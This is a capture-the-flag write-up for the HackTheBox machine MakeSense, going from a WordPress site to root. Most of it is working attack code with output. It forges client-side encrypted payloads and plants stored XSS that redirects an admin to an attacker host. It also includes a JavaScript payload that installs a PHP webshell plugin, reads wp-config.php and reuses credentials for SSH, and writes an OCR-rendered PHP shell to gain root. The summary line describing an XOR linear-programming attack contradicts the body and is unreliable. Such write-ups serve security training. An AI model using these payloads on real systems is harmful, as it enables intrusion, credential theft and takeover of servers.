# MakeSense Writeup - HackTheBox

> Linear programming attack on a custom XOR-based encryption scheme to recover the flag by solving constraints derived from the cipher's operations.

- **URL:** https://hackindex.io/writeups/makesense
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Tags:** webshell, xss, cryptography, wordpress, privilege-escalation, suid, sudo-misconfiguration
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 9 min read
- **Published:** 2026-06-15
- **Updated:** 2026-11-01

## Reconnaissance

Add the target to hosts and run a full TCP scan.

```bash
addhost $TARGET_IP $DOMAIN
nmap -p- -T4 --min-rate 1000 --open $TARGET_IP
nmap -sC -sV -p 22,443 $TARGET_IP
# PORT    STATE SERVICE
# 22/tcp  open  ssh
# 443/tcp open  ssl/http
#
# 22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu
# 443/tcp open  ssl/http Apache 2.4.58
# |_http-generator: WordPress 7.0
# |_http-title: Agency LLC
```

Only SSH and HTTPS. No mail, no other web ports. Everything routes through the WordPress app.

Run wpscan against the theme and users.

```bash
wpscan --url https://$DOMAIN --enumerate u,vp,vt --disable-tls-checks
# [+] webagency
#  | Location: https://$DOMAIN/wp-content/themes/webagency/
#  | Version: 1.0 (80% confidence)
#  | Author: WebAgency Team
#
# [+] User(s) Identified:
# [+] walter
# [+] admin
# [+] jake
```

Custom theme (`webagency`), not a public plugin, so no CVE database is going to help here. Three usernames confirmed via author-id brute forcing and login error messages. Next step is reading the theme's own JS, since custom code is where the bugs will be.

## Vulnerability Discovery

### Mapping the custom feature

The homepage links two theme-specific scripts:

```bash
curl -sk https://$DOMAIN/ | grep -oE '(src|href)="[^"]*webagency[^"]*"' | sort -u
# src="https://$DOMAIN/wp-content/themes/webagency/assets/js/main.js?ver=1.0"
# src="https://$DOMAIN/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js?ver=1.0"
```

The site has a "Call us" widget: click it, a synthetic voice asks you to leave a message, your mic is recorded, and the audio is transcribed client-side in the browser using Transformers.js running a Whisper model served from the theme's own model bundle. A summary is generated, then both are uploaded.

Pull both scripts and the localized AJAX config:

```bash
curl -sk https://$DOMAIN/wp-content/themes/webagency/assets/js/main.js -o main.js
curl -sk https://$DOMAIN/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js -o whisper-wrapper.js
curl -sk https://$DOMAIN/ | grep -oE "webagency_ajax = \{[^;]*\};"
# webagency_ajax = {"ajax_url":"https://$DOMAIN/wp-admin/admin-ajax.php","nonce":"<nonce>","theme_url":"...","site_url":"..."};
```

### The fake encryption

`whisper-wrapper.js` encrypts the transcription payload before sending it, but the key is baked into the client:

```javascript
const ENCRYPTION_KEY = '<hardcoded-key-string>';
// key = SHA-256(ENCRYPTION_KEY)
// random 12-byte IV
// AES-256-GCM
// output = base64(iv + ciphertext + tag)
```

Since the key ships to every browser, this buys zero integrity. Anyone can forge an encrypted blob the server will decrypt and trust. The same file also has an `applySymbolMapping()` function that maps spoken phrases ("open bracket", "quote", "slash") to symbols, meant so a spoken message can spell out an XSS payload through the transcription pipeline. That confirms the intended attack surface without needing to actually record audio.

Reimplemented the scheme in Python (pycryptodome, in a project venv) and round-trip tested it against known plaintext to confirm it matches WebCrypto's output exactly.

```python
from Crypto.Cipher import AES
import hashlib, os, json, base64

ENCRYPTION_KEY = b"<hardcoded-key-string>"

def encrypt_payload(transcription, summary):
    key = hashlib.sha256(ENCRYPTION_KEY).digest()
    iv = os.urandom(12)
    payload = json.dumps({"transcription": transcription, "summary": summary}).encode()
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
    ciphertext, tag = cipher.encrypt_and_digest(payload)
    return base64.b64encode(iv + ciphertext + tag).decode()
```

### Mapping the AJAX flow

Two relevant `admin-ajax.php` actions, both `nopriv` (unauthenticated):

```
action=save_voice_raw     -> multipart voice_recording (wav), creates its OWN new
                              contact_submission post titled "Voice Call - <timestamp>",
                              ignores any post_id you pass it
action=save_voice_results -> post_id + encrypted_payload, decrypts server-side and
                              stores transcription/summary as POSTMETA
```

That last point matters. WordPress runs `post_content`/`post_title` through `wp_kses` before saving, but a handler calling `update_post_meta()` directly bypasses that filter. Confirmed by testing the plain contact form's `message` field (which goes through `post_content`) against the transcription field.

```bash
curl -sk https://$DOMAIN/wp-admin/admin-ajax.php \
  --data-urlencode "action=submit_contact_form" \
  --data-urlencode "nonce=<nonce>" \
  --data-urlencode "name=MsgTest" \
  --data-urlencode "email=msgtest@test.com" \
  --data-urlencode "phone=123" \
  --data-urlencode "message=<img src=x onerror=alert(1)><script>alert(2)</script><b>bold</b> plain text"
```

REST readback of the stored post:

```bash
curl -sk "https://$DOMAIN/?rest_route=/wp/v2/contact_submission/<id>"
# "content":{"rendered":"<p><img decoding=\"async\" src=\"x\">alert(2)<b>bold</b> plain text here</p>\n"}
```

`onerror` stripped, `<script>` stripped, `<b>` survived. Standard `wp_kses_post` behavior. So the plain contact form fields are a dead end for XSS. The transcription/summary postmeta fields are not run through the same filter, that is the real injection point.

## Initial Access

### Forging a voice-call submission

```bash
NONCE=$(curl -sk https://$DOMAIN/ | grep -oE '"nonce":"[a-f0-9]+"' | cut -d'"' -f4)

RESP=$(curl -sk https://$DOMAIN/wp-admin/admin-ajax.php \
  -F "action=save_voice_raw" -F "nonce=$NONCE" \
  -F "voice_recording=@voice-message.wav;type=audio/wav")
PID=$(echo "$RESP" | grep -oE '"post_id":[0-9]+' | grep -oE '[0-9]+')
# cat /home/walter/user.txt
#
```

`save_voice_raw` always creates its own post and returns its own `post_id`. Attaching `save_voice_results` to a post ID from the contact form (a different feature) instead of the one `save_voice_raw` just returned means the resulting entry has no audio attached and may not render right in the admin view. Use the `post_id` this call returns, not one from `submit_contact_form`.

```
XSS='<img src=x onerror="location=\"http://$ATTACKER_IP:$ATTACKER_PORT/hit\"">'
ENC=$(python3 encrypt_payload.py "$XSS" "test summary")

curl -sk https://$DOMAIN/wp-admin/admin-ajax.php \
  -F "action=save_voice_results" -F "nonce=$NONCE" -F "post_id=$PID" -F "encrypted_payload=$ENC"
```

Accepted server-side. Whether it fires depends on an admin (or automated reviewer) actually viewing the dashboard.

### A credential hiding in a seed audio file

Directory listing is enabled under uploads:

```bash
curl -sk https://$DOMAIN/wp-content/uploads/2026/01/
# <a href="voice-message.wav">voice-message.wav</a>
```

This is a pre-existing seed recording, not something we uploaded. Downloaded it and transcribed it locally with `openai-whisper` (installed in the project venv, no internet dependency on the target needed):

```bash
pip install openai-whisper
python3 -c "
import whisper
model = whisper.load_model('medium')
result = model.transcribe('voice-message.wav')
print(result['text'])
"
# hey this is jake, i'm testing the new feature and it's exciting, i'm going there oops
# login um jake ... ... ... ... 4923
```

Someone recorded themselves reading out a login. That gives WordPress credentials for jake:

```
$USER: jake
$JAKES_PASSWORD
```

### Confirming the sink with a low-priv login

```bash
curl -sk -c cookies.txt https://$DOMAIN/wp-login.php \
  --data-urlencode "log=jake" \
  --data-urlencode "pwd=$JAKES_PASSWORD" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "redirect_to=https://$DOMAIN/wp-admin/"
```

jake's role is `contributor` (confirmed via authenticated REST call to `/wp/v2/users/me`), no plugin, theme, or user management capability. `plugins.php`, `theme-editor.php`, `users.php` all return 403. No direct privilege escalation from this account, but logging into the real Contact Submissions admin list confirms the theory:

```bash
curl -sk -b cookies.txt "https://$DOMAIN/wp-admin/edit.php?post_type=contact_submission"
```

The planted `<img onerror=...>` payload shows up completely raw and unescaped in the rendered HTML of the admin list table. The sink is real. jake cannot exploit it himself, but an administrator viewing the same page will execute it.

### From blind XSS to RCE

Cookie exfiltration will not work against this target (the session cookie behaves as HttpOnly), so instead of stealing a cookie, use the XSS to perform a privileged action directly inside the admin's authenticated browser session. Cookies are attached automatically on same-origin requests regardless of HttpOnly.

Build a minimal one-file WordPress plugin as a webshell:

```php
<?php
/* Plugin Name: sh */
if (isset($_GET['cmd'])) system($_GET['cmd']);
```

```bash
zip -j sh.zip sh.php
base64 -w0 sh.zip
```

Payload, stored raw in the transcription postmeta (no HTML-attribute escaping needed since it is not filtered):

```
<script>
(async()=>{
  const r1 = await fetch('/wp-admin/plugin-install.php?tab=upload');
  const nonce = (await r1.text()).match(/name="_wpnonce" value="([a-f0-9]+)"/)[1];
  const bytes = Uint8Array.from(atob("<BASE64_ZIP>"), c=>c.charCodeAt(0));
  const fd = new FormData();
  fd.append('_wpnonce', nonce);
  fd.append('pluginzip', new Blob([bytes]), 'sh.zip');
  fd.append('install-plugin-submit', 'Install Now');
  await fetch('/wp-admin/update.php?action=upload-plugin', {method:'POST', body:fd});
})();
</script>
```

Encrypt and plant it exactly like the earlier test payload, on a fresh `save_voice_raw`/`save_voice_results` pair. WordPress's plugin-zip installer only checks for a valid plugin header before extracting, it does not require the plugin to be "activated" for its PHP file to be reachable, Apache will execute any `.php` under the web root directly.

An automated reviewer visits the dashboard periodically (confirmed later via `ps aux`, a headless Chrome instance driven by a Python automation script), triggers the stored script, and the plugin gets installed.

```bash
curl -sk "https://$DOMAIN/wp-content/plugins/sh/sh.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Code execution as `www-data`.

## Post-Exploitation

### Credential reuse from wp-config.php

```bash
curl -sk "https://$DOMAIN/wp-content/plugins/sh/sh.php?cmd=cat+/var/www/html/wp-config.php"
# define( 'DB_USER', 'walter' );
# define( 'DB_PASSWORD', '$WALTERS_PASSWORD' );
```

The site actually uses SQLite, so these MySQL fields are unused dummy values, but the password is reused for the real `walter` system account.

```bash
ssh walter@$DOMAIN
```

Login succeeds. User-level shell obtained.

### Enumerating for privilege escalation

```bash
sudo -l
# Sorry, user walter may not run sudo on makesense.
```

No sudo rights, no exploitable SUID binaries. Check running processes instead.

```bash
ps aux
# admin   /bin/sh -c PREY_BASE_URL=https://$DOMAIN PREY_HEADLESS=true /usr/bin/python3 /home/admin/.process/prey-unified.py
# admin   /home/admin/.wdm/drivers/chromedriver/.../chromedriver --port=<port>
# admin   /opt/google/chrome/chrome --headless=new ...
# root    /bin/sh -c /root/.scripts/start_ocr4.sh
# root    php -S 127.0.0.1:8001 -t /root/ocr4/
```

Two things confirmed here. First, the "admin bot" that reviewed the XSS payload is exactly what it looked like, a Python automation script driving headless Chrome as user `admin`. Second, root runs a local-only PHP web app on port 8001.

### Root via a local OCR service

The service requires HTTP Basic Auth:

```bash
curl -s -i http://127.0.0.1:8001/
# HTTP/1.0 401 Unauthorized
# WWW-Authenticate: Basic realm="OCR Protected"
```

walter's password works here too.

```bash
curl -s -o /dev/null -w '%{http_code}' -u "walter:$WALTERS_PASSWORD" http://127.0.0.1:8001/
# 200
```

The app lets you draw text on a canvas, runs it through tesseract OCR, and offers a "Save as" form with a free-text filename, written under `/root/ocr4/saved/`. Since this PHP built-in server runs as root and serves any file inside its own docroot, saving recognized text as a `.php` file is code execution as root, provided the OCR reads back exact PHP syntax.

Render the payload locally with PIL and a monospace font:

```php
from PIL import Image, ImageDraw, ImageFont
font = ImageFont.truetype("/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf", 50)
text = "<?php system($_GET[0]);"
img = Image.new("RGB", (900, 160), "white")
d = ImageDraw.Draw(img)
d.text((20, 40), text, fill="black", font=font)
img.save("payload.png")
```

OCR read this back as `<?php system($ GET[0]);`. The underscore in `$_GET` is dropped or misread as a space by tesseract, consistently, across font sizes and weights. Rather than fight the OCR, avoid the character class entirely. PHP heredoc syntax needs no underscore and no quotes, so hardcode the command directly instead of reading a request parameter:

```php
text = "<?php system(<<<E\nid\nE);"
```

That rendered and OCR'd back exactly, byte for byte:

```php
<?php system(<<<E
id
E);
```

Full cycle: recognize, then save with a `.php` filename, then request the saved file.

```bash
curl -s -c cj.txt -u "walter:$WALTERS_PASSWORD" -X POST http://127.0.0.1:8001/ \
  --data-urlencode "canvas_image=data:image/png;base64,$(base64 -w0 payload.png)"

OCR_ID=$(grep -oE 'ocr_id" value="[^"]+"' response.html | cut -d'"' -f3)

curl -s -b cj.txt -c cj.txt -u "walter:$WALTERS_PASSWORD" -X POST http://127.0.0.1:8001/ \
  --data-urlencode "ocr_id=$OCR_ID" \
  --data-urlencode "filename=shell.php" \
  --data-urlencode "save_output=Save"

curl -s -u "walter:$WALTERS_PASSWORD" http://127.0.0.1:8001/saved/shell.php
# uid=0(root) gid=0(root) groups=0(root)
```

Root code execution confirmed. Re-render the same heredoc template with any command needed for further post-exploitation, save under a new filename each time, and request it.

Related
